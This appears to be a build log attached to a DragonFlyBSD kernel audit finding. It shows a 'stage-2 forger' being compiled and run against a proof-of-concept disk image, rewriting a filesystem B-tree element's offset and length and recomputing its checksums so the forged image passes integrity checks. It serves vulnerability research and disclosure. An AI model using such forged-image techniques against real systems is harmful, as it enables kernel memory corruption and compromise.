⬢ DragonFlyBSD Kernel Audit
DF-3167 / build.log
← back to finding ↓ download raw
# in-guest compile of the stage-2 forger (captured run)
$ cc -O2 -Wall -o /tmp/patch_leaf /tmp/patch_leaf.c
/tmp/patch_leaf.c: In function 'main':
/tmp/patch_leaf.c:69:8: warning: unused variable 'off' [-Wunused-variable]
  off_t off;
  ^~~
$ /tmp/patch_leaf /build/poc.img
vol_buf_beg=0x88000 vol_version=7
node raw=0x21088000  src raw=0x22088000
node CRC algorithm: iscsi_crc32(crc32c) (stored=3f8df14c)
elm found: old dataoff=9000000021800ef0 len=32 crc=e5e4acb4
PATCHED: dataoff=a000000022000000 len=65536 crc=fc7ab732 nodecrc=a85c02ec